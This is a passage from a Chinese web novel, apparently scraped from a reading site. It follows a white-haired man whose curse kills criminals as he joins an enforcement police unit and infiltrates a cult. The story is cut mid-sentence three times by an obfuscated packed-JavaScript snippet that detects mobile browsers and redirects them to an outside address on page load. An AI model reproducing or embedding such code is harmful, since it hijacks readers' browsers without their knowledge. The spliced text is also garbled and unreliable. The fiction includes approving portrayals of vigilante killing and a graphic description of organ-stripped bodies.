《听说我是恶人克星》 1. 听说我是厄运 厄良乖乖跟在卫队长身后,到一楼大厅办理任前协议。 卫子诸让签什么,厄良看都不看,下笔就签。 卫子诸失笑:“好歹看看合同内容,有什么疑问都可以提。” 厄良眨眨眼,神情纯良:“好哦。” 青年发丝雪白,眼瞳漆黑,两耳穿有黑色耳环,认真看着条例。 他骨相挺拔,皮肤苍白,眼窝较深,面容神异。比起警察,更像另一个世界的人。 长长的合同滑不到底,大概一扫,条例中还包括“自愿承担死亡风险”、“完成一次任务即可入职”…… 厄良想成为执警。除了老老实实一步步考核,还能通过“快速考核”成为执警——完成一次入职任务。 卫子诸说:“执警和其他警察不同,执警负责追捕罪犯和卧底等一线任务,不在编制内,审核更宽松。” “快速考核虽然免去报名和面试笔试,但体能测试和政审还是必需,可以在入职后完成。” “入职任务和正式任务难度相当,都很危险。尤其执警中心,我们面对最穷凶极恶的歹徒,牺牲率高达95%” 厄良算了算,就是说,每十个人里,活下来的只有半个人。 卫子诸对厄良弯弯眉眼,眼下的泪痣和笑容一起绽放。他仪态挺拔端庄,很有大家子弟的风范: “阿良可以好好考虑一下。” 厄良不用考虑,他有必须成为执警的理由—— 从小到大,靠近厄良的人,都会遭受厄运。 幼时,厄良一家出车祸,爸妈都死了,只有厄良完好无损。 上小学后,有天老师送厄良回去,走到一栋公寓楼下,突然地震,高层花盆震下来,把老师头骨砸的稀碎。 大学,厄良和同学去山上露营,突下暴雨,所有人被泥石流冲走。等厄良醒来,周围是同学们一动不动的尸体,只有自己活着。 除了这些,还有很多人接触厄良后变得倒霉。他们突然被厄运缠上,散财,事故,家破人亡…… 工作后也是,主管和厄良聊天,主管坐着的升降椅突然爆炸,大量金属碎片扎进主管内脏,人当场死亡。 工作需要劳动力产生价值,厄良直接让劳动力失去价值。 这份厄运,就是需要成为执警的根源。 至于牺牲率95……嗯,厄良确实担心,罪犯在他手里,变成牺牲率95 装作认真的样子翻一翻,然后认真答应卫队长吧。 厄良出神时,注意力渐渐被旁边的吵闹声吸引。 一桩案子结束,判决书下发,罪犯即将入狱。受害者父母和姐姐不服判决,来民安机关讨说法。 “我们女儿死了,为什么凶手只判两年?!” 罪犯穿着囚服,戴着手铐,面对夫妻二人的怒视毫不在意: “那咋了?我只是强|奸又没杀人,你们女儿自己跳楼,关我屁事?” “我自首减轻量刑是应该的!法官说什么了?警察说什么了?他们都没说话,你们算个屁?” 旁边警察握紧拳头,死拽手铐,厉喝:“老实点!” 他把犯人拉的一个趔趄,差点摔倒。犯人重新站好,用吊梢眼恶狠狠盯住警察:“怎么?气不过想动手?来啊!这都是监控,你敢动手吗!” 罪犯面向夫妻,笑容恶意:“奥~我想起来你们女儿是谁了——那个一直喊‘爸爸妈妈救我,姐姐救我’的婊子吧?吵吵嚷嚷烦死了。” 他盯住旁边一直沉默的姐姐:“我告诉你们,等出狱后,第一个要*的,就是你!” 受害者妈妈手指着罪犯,气的发抖。爸爸双目充血,眼看要冲上去揍犯人,旁边警察赶紧过去阻拦—— 厄良眼瞳微转,缓缓偏头,俯视罪犯。 厄良一直不明白,为什么法律给这种人一次又一次机会,他们却一次又一次伤害无辜者。 本州犯罪率稳居世界第一,减刑率也是世界第一。 十年的刑罚,因为缴款、表现好、家人生病等各种原因,甚至能减到1年。档案封存后,又能出来正常工作生活。犯罪成本低到可怕。 大多数极端惨案,都是多次入刑的人犯下的。明明害了人,杀了人,却得不到应有的惩罚。 受害者们、平民百姓,全都怨念滔天。 罪犯以为受害者是任人宰割的羔羊,但他们不知道—— 杀人的厄运,正是由受害者走投无路的哭嚎,一定要让恶人付出代价的意志组成的,从上天砍向恶人,最恐怖的利器! 因为厄运,爸爸妈妈死了。 因为厄运,朋友们死了。 到底还要夺走他多少,厄运才肯停止? 只要一想到自己遭受的所有厄运,都是因为这种人存在—— 想要毁灭他们的恶意,完全控制不住。 厄良的眼瞳原本就比正常人更大,更黑,此刻盯住强|奸犯,无数鬼影从深渊中爬出,浩瀚的恶意全部朝罪犯压下! 厄良扬起嘴角,嘴唇微张,说: 【去死】 罪犯突然打了个寒颤,在生物本能下,他瞬间捕捉到厄良的眼神。刚才还趾高气扬的犯人,立刻愣在原地,双腿发软。 一直沉默的姐姐突然后退几步,警察们以为她被吓到,没第一时间反应过来。直到姐姐插在口袋里的手拿出,手里竟然握着一把黑色手枪! 掏枪的动作锤炼过千百次,一分不差对准犯人的心脏,毫不犹豫扣下扳机! 离姐姐最近,阻拦爸爸的警察想立刻过去,却被爸爸反手抱住,死不松手。 枪声响起,整个大厅的警察全部朝姐姐冲来! 妈妈扑到第二个冲来的警察身上,拖住她。姐姐立刻开枪,射出第二发子弹! 但她训练时间太短,开枪时过于用力压枪,弹轨偏下,第二发力道又偏小,弹头朝上偏移。 被爸爸拖住的警察向后肘击,爸爸吃痛下意识松手。警察立刻冲到姐姐旁边,按下她握枪的手臂,第三发只能射向地板—— 【该死!只有两发不够!杀不死那只畜生!】 没关系,只要你射出子弹,剩下交给厄运吧。 漆黑的枪口对准自己,强|奸犯立刻意识到不好!他想跑走躲避,厄良的眼神一直在他脑海中挥之不去—— 快跑!快跑啊! 犯人用力抬腿,没想到肌肉太过紧张导致痉挛,完全使不上力,整个身子向下歪倒—— “噗”、“噗” 倒下瞬间,两颗子弹一前一后射来,第一弹正中心脏,第二弹射穿脖侧动脉! 罪犯直挺挺倒下,趴在地上一动不动,圆形的血滩向外蔓延。 尽管有人帮忙止血,罪犯没等到救护车,就没了呼吸。 受害者一家坐在地上,手握着手,互相支撑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007430|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到罪犯确认死亡,一直压抑的姐姐终于忍不住,嚎啕大哭: “小莲,小莲,我们替你报仇了!” “在那边要好好的!不用难过了……” 阻拦他们的警察长叹:“何必呢……” 小姑娘这么年轻,杀人致死最少无期,把自己后半生全搭进去了。 现在明面禁枪,尽管这把手枪便宜,普通人为了找到获取途径,也得倾家荡产。夫妻两阻拦警察,少不了量刑。 这就是警察阻拦他们,抢救罪犯的原因。 这次行动显然一家人提前商量过,姐姐负责击杀,爸妈负责阻拦。为了增加发射机会,姐姐特意后退远离警察。 现在他们达到目的,警察拷住他们时,三人没有任何反抗。 厄良回头,心想: 要是他们能忍住,等自己出手,就不用付出代价了。 卫子诸过去看情况了。 厄良见状,也拿着签协议的平板,过去凑热闹。 眼看其他警察要带走一家人,卫子诸阻止:“等等。” 黑发队长上前,抓住爸爸的手,将衣袖挽起。 一个漆黑的鸟形纹路赫然印在上面。 其他警察见状,神色凝重:“厄神教。” 厄良在旁边摸摸下巴。 【听起来像个邪教欸。】 一家子被带走,卫子诸也带着厄良回二楼。 走在窗边,卫子诸指着其他大楼介绍:“……那边是档案馆,等阿良正式入职,才有权限进去哦。” 档案馆,这就是厄良成为执警的目的。 过去,厄良珍视的人都被厄运害死,厄运根源来自压迫伤害别人的罪犯,为了复仇,厄良决心消灭恶人。 这几年,厄良到处搜集逃脱罪人的消息,予以制裁。他从网上查到罪犯,再搜索资料验证。 找到犯人所在地,前往偶遇,打个招呼,厄运就会降临,将其谋杀。 但网上流传的罪犯数量有限,现在已经无人可杀。 如果能得到警察资料库里的案子,就能迅速锁定罪犯! 民安机关的档案馆,对厄良来说,是闪闪发光的大金库。 但只有内部人员才能进入档案馆。执警审核宽松,又能快速考核,于是厄良把目标放在执警上,来总局报名。 白发青年眼睛发亮,目不转睛盯了几秒。 等完成一次任务,他就能进去了! 执中队就在主楼二楼东侧,电梯一出去就到。 卫子诸:“民安机关情况大致就是这样。有任务时,根据任务需要加班,像今天完成的早,待会到点就能下班了。平时早九晚五,中午有两小时休息时间,周日双休,加班时长能一比一兑换调休。月薪两万,随工作年限上调,如果受伤还能带薪休假。” “阿良考虑好了吗?” 带薪休假!周末双休! 他会有很多自己的时间! 而且一比一调休! 任务加的班,完全可以换成工作日的休息时间。 最重要的是,成为执警,意味着他有源源不断、能够接触罪犯的任务! 厄良本来就要消灭恶人,现在还能拿钱消灭恶人,简直赚翻了! 厄良迫不及待:“我愿意!” 不行,听得他都想一直待下去了。 卫子诸弯弯眉眼:“欢迎。” 2. 听说我是厄神 卫子诸仍然在微笑,十分突然地说:“刚才你看向犯人后,为什么持枪小姐开枪了?” 厄良面上还沉浸在喜悦中,闻言立刻意识到卫子诸这句话在挖坑,他怀疑自己。 不能用自己视角回答,要完全代入旁观者视角,一个不了解真相的旁观者。 卫子诸这句问话可以理解为“你看向犯人,导致持枪小姐开枪”,这是卫子诸怀疑的,他觉得厄良给出讯号,持枪小姐执行。 从旁观者理解,这句话重点在后半句,“你看向犯人后”是时间,引导自己回忆起那时的场景。 白发青年眼神偏下,回忆道:“好像犯人说了很过分的话,持枪小姐大概受刺激了。” 厄良蹙了蹙眉:“那个犯人很恶心啊,如果不挑衅,也许不会死。” “阿良听力很好,在我那个位置,基本听不到说话内容。” 厄良摸摸脑袋,不好意思道:“敢来当执警,我也得有点本事吧哈哈。” 卫子诸走在前面,只能看到他的背影,长发半扎,下垂的发丝随风纷飞。 “阿良盯着看了三秒,很喜欢档案馆?” 厄良:“嗯嗯!存放那么多案子,感觉很有趣!” 心机男,连我看哪都要管。 温润的嗓音轻轻笑了:“案子可不是有趣的事。” “不过刚才的枪击案,让我想到一个有趣的人。” “持枪小姐手上没茧,练枪时间不长,能在五米距离两秒内,瞄准犯人发出两枪,已经很厉害了。” “那两枪,一发偏下一发偏上,但凡犯人不动,或者朝其他方向躲避,都不会受到致命伤。” 黑发队长停下,回头注视着厄良,微笑: “为什么他不朝惯用的左边躲,反而向右边躲?” “左边有什么需要躲避的存在吗?” 这个警察很敏锐啊。 白发青年沉思,捏住下巴: “嗯……犯人的左边有大门、咨询台……当时广播在说什么,也许把他吓到,潜意识逃离。” “我们也在左边。” 厄良无辜道:“我们看起来很危险吗?没有吧。也许就是天意,上天不想留下犯人性命,就像J国首相。” 卫子诸嘴角上扬:“天意啊……我说的有趣,就是一个靠天意犯案的人。” 厄良垂下的手指抽动一瞬。面上感兴趣问:“真有这样的罪犯?” 卫子诸比了个“嘘”的手势:“他还没被立案,只能内部讨论,不要传出去哦~” “隔壁侦查部的新人,发现从两年前开始,有人用看似‘意外’的手段,杀死曾经犯过罪的恶人。” “大家叫这位连环杀手‘灾厄’。” 执警队长靠近厄良,和他面对面,目对目,一眨不眨。 厄良茫然眨眨眼,以为卫子诸希望他提出什么意见。 快想想——有了! 既然发现有杀手,为什么不立案? 刑事案件立案,有犯罪事实、需要追究刑事责任缺一不可,杀人当然要追究刑事责任,所以问题出在犯罪事实上—— 他们拿不出证明犯罪的材料。 白发青年眨眨眼睛,问出疑问:“警方拿不出证明犯罪的材料吗?” 卫子诸和他拉开距离,推开会议室大门,伸手指引,让厄良坐到他旁边。 犹豫一下,厄良小心翼翼坐过去。同时神经紧绷,时刻注意意外发生。 卫子诸衣服整洁又干净,像新制服,厄良靠近还能闻到淡淡的清香。他的声音温柔,又有力量。 “对了。侦查部新人拿不出证据,一开始没人当真。” “直到听了他的推理会,内部人慢慢信了。但因为不符合立案规范,一直拖着。” 只凭推理就确定罪犯?民安机关太卧虎藏龙了吧! 每天意外事故这么多,新人怎么精准找到的?开挂吧! 有这么厉害的人在,如果厄良目的暴露,肯定无法继续留在总部。 他要抓紧时间,一次完成入职任务,成为执警,进入档案馆! 厄良睁大眼睛,期待地看着队长,悄咪咪打听:“哥,我要执行什么任务啊?” 会不会很麻烦? 卫子诸微笑,“很简单的,卧底任务。” “……欸?” 他是魔鬼吧! 为了追杀恶人,厄良上能跳机,下能钻地,但从来没学过表演! 让他当卧底,真不会一眼暴露吗? “哈哈,别担心暴露,本色出演就好。毕竟你看起来不像警察。” 厄良心口中了一箭。 作为罪犯,不像警察,真是对不起哦。 回到座位上等了半小时,终于等到有人从门口进来,年轻女生扎着高马尾,平静问:“队长,找我什么事?” 厄良惊讶:“师妹?” 黑发女生停下脚步,看向厄良,一言不发。 “……师妹?你不是摆摊,去做道士吗?” 女生点点头:“对,我后来发现当执警更方便。” 厄良:“?” 天清淡淡道:“当道士时,总有城管没收我的法器。” “然后我发现,没收时如果悄悄出示执警证,他们会一脸了然,坚定地对我点点头,放弃没收。” “当执警真好,可以随便做道士。” 厄良:他们误会了,以为你便衣执行任务! 等城管回去发现对不上,上级会把过错安到城管头上吧。 吃够打工人的苦,厄良瞬间共情城管。 卫子诸忍俊不禁,“原来天清是道士。会算卦吗?有空给我们算一卦吧。” 天清点点头:“可以,我的价位一人十元。” 她面露纠结,想了想,肉痛道:“看在熟人份上,打个折,一人9.9元吧。” 三人就坐,卫子诸将任务告知: “阿良还记得昨天的事吗?一家人当众枪杀犯人,调查发现他们身上拥有相同印记——” 卫子诸手指推来三张照片,漆黑的鸟型纹路印在图中人的皮肤上。 “这是厄神教标志,厄神教是近年兴起的宗教,教义是从厄运中拯救众生,以祛除厄运在普通人中流行。” “但只有忠实信徒知道,厄神教能帮助教徒,带给其他人厄运。” 厄良一怔。 和他能力这么像?但自己从没听说过厄神…… 卫子诸:“表面说的高大上,其实是暗地里的买卖交易。那家人的枪就是厄神教提供的。” “不止如此,他们用拯救名义接受委托,替委托人挑选器官,这些是救下来的人。” 照片上,有人腹部被长长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007431|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗糙的伤疤贯穿,有人四肢残缺,有人靠机器吊着续命。 剩下的照片里,人体腹部中间被切开巨大的创口,贯穿上半身,向两边打开。胸腹腔内部基本是空的,只剩下大血管的残端、脊柱、部分肌肉和结缔组织。肋骨和胸骨清晰可见,体腔内有大量积血和血凝块。 他们在活着的时候,被粗暴地夺走所有器官。 “死者被解剖的地方没留下任何与厄神教有关的证据,我们没有理由进行搜查逮捕。” “阿良,天清,这次任务需要你们伪装信徒潜入厄神教,搜集犯罪证据,抓捕邪教背后真正的教主。” “是!” 除了任务,厄良还有其他想法。 从那家人之后的反应看,教会对他们洗脑很严重。他们不相信警察,坚信厄神教救了他们,即使倾家荡产,全家坐牢。 其他被卖器官的,也坚称一切都是自己的选择,和厄神教没关系,厄神教是无辜的。 这种情况下,即使抓到幕后黑手呢? 他把责任一推,连五年都判不到,再交笔钱,减刑又减刑,出来还能逍遥法外。 那怎么行? 还是对幕后黑手使用厄运吧。 执警拥有就地执法权,只要目标不配合,或者有反击迹象,执警可以合法杀人。 用厄运消灭犯人,不会影响执警的任务。 厄神教规模不小,除了教主,其他高层肯定也参与进来了。 如果能把他们一网打尽,这次任务起码能制裁十几、二十几个恶人! 厄神教,他来了! 厄神教总部在其他道,他和天清分开行动。厄良扮演有钱没处花的富家子,天清扮演没钱没处花的贫民,从两个方向探查。 白发青年刘海梳起,两侧留下碎发,耳垂挂着玉石质感的黑色耳环。他身着量身定制的衬衣和休闲裤,简洁修身,领口随意解开,露出白皙的锁骨。 这位一看非富即贵,还没踏入大厦门口,门口接待员上前迎接:“欢迎光临!” 厄良沉默一瞬,这位接待员看起来像斯威夫族人,睫毛浓密,眉眼深情,自带氛围感,来个镜头,能直接出演神话人物。 凭这张脸干什么不好,非得来邪教打工? 厄良迟疑,像被朋友怂恿过来的,自己将信将疑:“这里是厄神教?听朋友说,你们能祛除厄运?” 厄良准备用祛除厄运作借口,等他的身份被信任,砸钱把教主砸出来。 接待员笑容灿烂,一开口就是冰碴子味:“包砸老弟儿,有问题先个来看看嘛,里面老讷了!” 厄良:…… 合着只会说一句通用话! 白发富二代看起来像没敌过好奇心,踏入大门。 厄良一边观察内部,心里啧啧称奇。 整栋大厦都是厄神教的,大楼外张扬贴着黑鸟标志。即使不是首都的市中心,这份财力也够夸张了。厄神教还得到政府认可,是合法教会,证书就摆在大厅墙面上。 民安机关找不到明面上的证据,只能派人潜入调查。 厄良本来想拿天清的贫穷剧本。没钱的厄神教徒会被怂恿做器官买卖,怎么想都是天清那边更危险吧?但卫子诸说,富豪更容易见到真正教主,厄良这边危险。 好吧,来都来了。要是没见到教主,别怪他花这么多钱哦。 3. 听说我是厄神 厄神教表面上的法定代表人常年在国外,不过问教团事务,明显挡箭牌。如果厄神教不是合法企业,警方调查不必这么麻烦。 自动开合门在厄良背后关闭,跟随接待员指引登记后,厄良分到一块触屏手表,上面记录了自己的咨询信息。 【巫安易,男,21岁。】 接待员:“巫先生嘞,这边走。” “所有文体,都能在三楼咨询部得到解答。二楼以尚,有我们需要保密的内部技术,不能带手机等电子设备哈。” 旁边有游客犹豫:“不能带手机吗?” 手机不仅是现代人的外置器官,还是救命搭子。没有手机,关键时刻只能靠自己。 游客的专属接待员露出职业微笑:“是的呢,先生。您可以放在专门的保管室,里面四角都有监控,还有专人保管,丢失我们负责。而且手表也有通讯功能,您可以把电话卡换进去。” 游客嘟囔,一边把手机交出去:“你们敢收,应该包没事吧。” 厄良换了电话卡,把手机、包里的平板、相机放入保险柜。 他猜测,二层以上外界信号屏蔽,即使插了电话卡也打不出去。这么说是想让他们安心。 包里除了旅游常用的设备,还有民安机关准备的各种工具和自己的工具,放在夹层。把普通设备主动上缴,他们应该不会再强制检查。 厄良的接待员尼基米列利热情介绍一楼墙壁上各种证书、资料。 “教会的教义是拯救陷入厄运的银们。为了践行教义,教会去年一年,为国际红十字会捐款10亿,这是他们专门送来的感谢奖杯。” “俺们信奉科学信教,为突破前沿领域,做了各种研究和实验。上个月,教会创办的《灵性与心智健康杂志》获得霍普奖,意识疗愈的远程实验也被哈里斯机构证实,正在评选中……” 怪不得他们的信徒分布于各个年龄段,还有大量接受高知教育的人。有这些世界知名学术ip背书,想不信都难。 尼基米:“俺也不懂这宅整啥。” 厄良一言难尽,只想求他别说话了。 上了电梯,各面配置大屏幕,播放厄神教相关宣传片。 一本古籍在屏幕中缓缓翻开: 【《黑谷录》有载,和硕十八年,黑谷大饥,人相食。】 黑谷是厄神教所在道,这是记载地域古籍的其中一卷。 【大朝捐输,奸吏贪墨。赈济之资,尽入私囊。伏尸百万,生灵涂炭。】 什么官,赈灾钱都敢贪。 【后贪墨事泄,民怨沸盈。越三日,自缢于私邸,面肤黧黑,状类非人。是时,群鸦盘踞,七日乃散。民皆以为天罚,称其厄神。】 哇,大快人心啊。这么说,厄神的传言千年前就开始了。 视频中说百年后,出现白发黑瞳的异人,竟然能使用厄神的力量,带给罪人天罚。 厄良缓缓凝眉。 白发黑瞳异人似乎是厄神转世,几百年便会出现一次,惩治罪恶,行驶厄神神权。信仰厄神的人渐渐组成教会,成为现今厄神教的前身。 【不好,既视感太强了……】 厄良都觉得自己像什么厄神转世了。 白发青年认真观察短片,第二遍片头再次出现古籍。 这本书厄良有印象! 小时候,爸爸妈妈带他去山河寺,厄良见过这本书! 厄良从小是个不同寻常的孩子。 天生白发,漆黑双瞳,不哭不闹,面无表情。 接生的护士都被吓到。在医院里,厄良被护士们称为“鬼娃娃”。 但比外貌更麻烦的,是发生在厄良周围的命案。 出生第三天,负责接生厄良的其中一个医生,被患者家属持刀捅死。 出生第七天,协助接生的一名护士,整理器械时被砸死。 出月后,厄爸厄妈带孩子出去转,刚到商场,一个人从五楼坠下,头朝下摔到一楼硬地板上,当场身亡。 全场尖叫声响彻,厄妈下意识捂住厄良眼睛,却发现,孩子漆黑眼瞳静静注视着血泊中心,没有一丝波澜。 …… 一系列事件后,厄爸厄妈确定,靠近厄良的人,很可能会遭受厄运。 比起自己安危,厄爸厄妈第一时间想的是—— 因为厄运,他们的孩子会被人忌惮、厌弃。 阿良以后怎么在社会上立足? 他怎样才能活下去? 普通人走投无路,只能求神拜佛。 厄爸厄妈刚结婚,没什么积蓄。家里人知道厄良的情况后,见厄爸厄妈不肯放弃,迅速和他们断绝关系,不再往来。 厄爸厄妈开始拼命工作,努力赚钱,把积蓄全部捐给寺庙神婆,祈求帮助。 辗转数年,都没有效果。在最后一位神婆的指引下,厄良一家来到黑谷道的山河寺。 往日恢弘的红墙金顶,现今破败不堪。长长的山脚下,小小的白发孩子,第一次对寺庙表现出排斥。 毛绒绒的白发全部炸起,神情抗拒,凶狠地龇起嘴巴,露出还没长满、米粒大的白牙。 他抓住爸妈的手,使劲后拉,屁股都用力撅起来。 以前小厄良为了让爸妈开心,陪他们胡闹。但这次,对山河寺,小厄良有不好的感觉。 虽然最后还是没拗过,跟爸妈进去了。 偌大的山河寺,只剩一位老婆婆在看管。她满头白发,像寺庙里的巨木一样苍老,却面容白皙,有种奇异的干净感。 小厄良对她十分戒备。 听完爸妈来意,老婆婆向厄良伸手,轻轻摸了摸白脑袋。 她突然长叹:“佛渡众生啊……” 之后老婆婆叫走厄爸厄妈,和他们单独谈话。 小厄良没听父母话,偷偷扒在门外,竖起耳朵。 老婆婆和父母讲起古籍,正是《黑谷录》。 【……“民怨成罚,天惩恶盈” 你们孩子所受的,是长达千年的诅咒。只能等因果轮回,自然散尽。】 门外偷听的厄良被发现,房门打开,老婆婆手中拿着一本旧书,风吹过书页,露出下一页漆黑的鸟形纹路。 大屏幕上的3d古籍,正好翻到这一页。 【承允三十四年,白发妖佞乱朝,戮士数十。帝伐不诛,囚于山河寺。僧同济誓化之,同寤寐、共飨饮,历数十载,至死方休。】 几百年前,白发异人被囚禁在山河寺几十年,怪不得厄良一见山河寺就难受。 难道他真是厄神转世? 但厄良知道自己只是普通人,最多能使用厄运的力量,绝不是什么神明。 厄良在意的是,原来像自己这样的人会轮回转世,即使自己死了,下一代也能使用厄运,消灭恶人。 死了都要转世干活,什么天选牛马。 宣传pv末尾,厄神教说古籍实物存放在大楼二层,欢迎参观。 《黑谷录》明明是山河寺传寺之宝,从不外传。邪教太过分了,连老婆婆的古书都贪! 《黑谷录》是铁证,任务进度+1 等端了邪教,警方调查完毕,厄良亲自把书送回去。 进入咨询室,尼基米在外等候。教士先询问厄良情况,厄良作为求助人,当然提前编好一套厄运说辞。 “小时候父母遭遇车祸,全部离世,只留给我一笔遗产。从那时起,我觉得自己运气糟透了。” 白发青年手指交叉,神情低落,眼神落在旁边,似在回忆: “上学后,同学总是背后议论,我被全班排挤。” “前段时间投资的项目,趋势突然跌落,和我一起投资的朋友全跑了,这时我才发现自己被骗。 ” “先生,我这么倒霉,是不是被厄运缠上了?” 教士先是对厄良的遭遇表示惋惜,沉思后说:“我不知道巫先生愿不愿意接受,在科学探知的真理之外,还有一片未知的领域。” 巫安易:“当然,现代科学不能解释一切。” “很多人在探寻未知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007432|194059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们教会也是。人类可以将一张纸折成立体,是否有更高层次的存在,能改变人类的空间,乃至时间?” “为了研究这些,我们教会创造一套理论。” “人的心念、命运等抽象存在,在另一个维度中,其实以类似能量的形式存在,只是人类作为三维生物,看不见摸不着。我们把那个世界叫做灵觉界,类似能量的存在,叫灵觉。” “厄运在灵觉界里,也是一种灵觉。它无处不在,人的灵觉里,或多或少都会掺杂一些厄运。” “厄运有扭曲其他灵觉的特性,如果不管,厄运会吸取人本身的灵觉作为养料,壮大自己。” 厄良听的津津有味:“就像病毒?” 教士:“对,比病毒更危险。” “令尊令堂没有及时清理厄运,导致个人的灵觉完全扭曲,才遭受杀身之祸。” “巫先生和令尊令堂关系亲密,他们的厄运蔓延到您身上,让您人生坎坷,总是遭遇小人啊。” 白发富二代露出震惊、恍然大悟的神情,片刻后又有些犹豫:“可我爸妈生前经常做善事,不能消减厄运吗?” 教士:“消减厄运需要方法,令尊令堂做好事时,是不是经常匿名?” 见厄良点头,教士继续解释:“那就对了。” “善事本来能汇聚愿力,消减厄运。但您的父母匿名做好事,愿力找不到目标,只能消散在灵觉界里。” “不管做多少好事,都没用啊。” 厄良猜测,就算他说爸妈做好事不匿名,教士也能搬出另一套说辞,自圆其说。 见巫安易信服这一套说辞,教士又用灵觉原理解释了校园霸凌、投资被骗,最后说:“先生灵觉已经污染严重,等检测完毕,我为您定制一套方案,立刻开始学习灵觉理论,为祛除厄运做准备。您觉得怎么样?” 巫安易疑惑:“检测?” 教士:“是一套可以通过您周围的磁场分布,确定厄运影响的设备,能测试极为精确的数据。” “好吧” 巫安易离开咨询室,跟着尼基米去缴费。 如画的美男子观察一会厄良,开口: “老弟,你真信这套理论啦?” 厄良立刻警惕起来,接待员一直跟着客户,厄良行为就一直受限。大厦里到处是监控,教会还派人跟着客户,接待员的职责不止接待,大概还有监视和评估。 【这个客户究竟有没有相信他们?需不需要做其他方案,洗脑他们?】 接待员恐怕就是这种作用。 巫安易笑道:“我觉得专家说的很有道理,理论也很新颖,以前没听过灵觉这种观点呢。” 一下就信太故意,最合适的方式是,说出自己感兴趣的点,让对方顺着说下去,有“这个人可以被洗脑”的错觉。 尼基米:“搜以你信喽?” 厄良沉默回视,仔细思忖。 他总觉得尼基米不像在问厄神教的灵觉理论,并且,暗含挑衅? 厄良:“我信不信无所谓。” 尼基米:“明白辽,你是这种想法哈。” 完全遗忘自己,将全部注入一个信念,无比纯粹。 “怪不得他老稀罕你喽。” 厄良:? 停止谜语人行为! 尼基米给厄良指了个方向,自己招招手,离开了:“检查室在那边,拜拜喽~” 看尼基米的样子,是不想做他的接待员了。厄良也乐的一个人,自己去了磁性检测室。 仪器是改造过的超导量子干涉仪,整体像核磁共振设备,从头顶扫到脚底。 厄良做完,在外等候期间,设备检测员紧急联系咨询教士: “钱教士,不好了!” “巫安易的检测数据问题很大!” 正常人体生物磁场极其微弱,在10^(-10)~10^(-13)特斯拉。但是巫安易的人体磁场,最小值也有10^(-5),和地磁差不多了! 他真的是人吗?! 4. 听说我是厄神 钱教士皱眉看着传来的数据,回复检查员:“把数值单位减小一亿倍,让结果看起来和正常人差不多。” 检查员:“那结论怎么写?” 钱教士:“就写……” 厄良收到报告,除了一个人体外的磁场分布平面图,还有数据波动很大的折线图。图上方全是专业术语,厄良直接翻到最下面的结论: 【脑部、心脏磁场分布异常】 检查员盯着修改前的报告,还是没忍住,联络了上级。 再次见到钱教士,眼镜专家盯着屏幕的检查结果,神色凝重: “巫先生,您需要尽快接受治疗。再不消除厄运,您下次会遭受致死程度的意外。” 厄良心中冷笑,即使患者病情再严重,专业医生也不会显露情绪。 巫安易显然被吓到了,连忙答应:“好的好的。” 钱教士:“所以赶快开始学习灵觉课程吧,通过考核就能成为信徒,进入下一阶段。” 厄良:? 都到邪教了,还让他考试? 巫安易:“教士,我不能立刻开始祛除厄运吗?” 钱教士:“人类想改变灵觉,需要炼‘心’。如果对灵觉一无所知,即使做了仪式,效果甚微啊。” 厄良明白了,这是先洗脑,等客户接受了,相信厄神教,成为信徒,才能进入下一阶段诈骗。 信徒才能举行仪式……说明仪式里肯定藏着什么! 巫安易显然很着急:“我被厄运感染这么严重,应该赶快治疗啊!效果再小也是效果,教士,让我参加仪式吧!” 两人虚情假意推来推去,最后钱教士松口:“好吧,您的情况特殊,先破例一次吧。” 去交钱的时候,厄良终于明白厄神教怎么骗钱的—— 虽然咨询免费,但检查要一万; 虽然课程免费,但每阶段小考核要一千,十个阶段总共一万; 虽然仪式诵经免费,但上台祛除厄运要两万。 要钱手段之刁钻,让厄良叹为观止。 弄完后,厄良来到5层的“仪式祛除”场地。 5层看起来是一层,但厄良坐电梯时数了数,这一层至少有四层高度。 5层没有分开的房间,整个空间都是仪式场地。厄良走出电梯,经过一段长长的昏暗走廊,脚下铺满柔软的地毯。走到尽头,厄良找到一对花纹繁复的暗色大门。 手表全程提示,厄良把手表对准花纹中心的空白处,轻轻触碰,空白区域亮起标志性的黑鸟纹路。 从黑鸟的眼睛,到展翅的两翼,纹路完全亮起后,和大门上的花纹融为一体。 暗门朝两侧无声打开。 别说,挺有仪式感的。 刚来的人也许不相信教士的说辞,但一定会满意厄神教用心布置的“招待”。 [神神叨叨又怎样?反正服务员看起来很正常,就当出来玩了,把这里当做沉浸式角色扮演;有人耐心听我抱怨安慰我,全程有茶点蛋糕,能去餐厅吃大餐;还有修炼心灵的课程,相当于提升自己;仪式是心理作用,自我安慰…… 物有所值,我受到的服务顶级就没问题。] 这就是大多数人一开始抱有的想法。 暗门打开,一眼望去,全是阶梯座椅,会馆空旷地可怕。 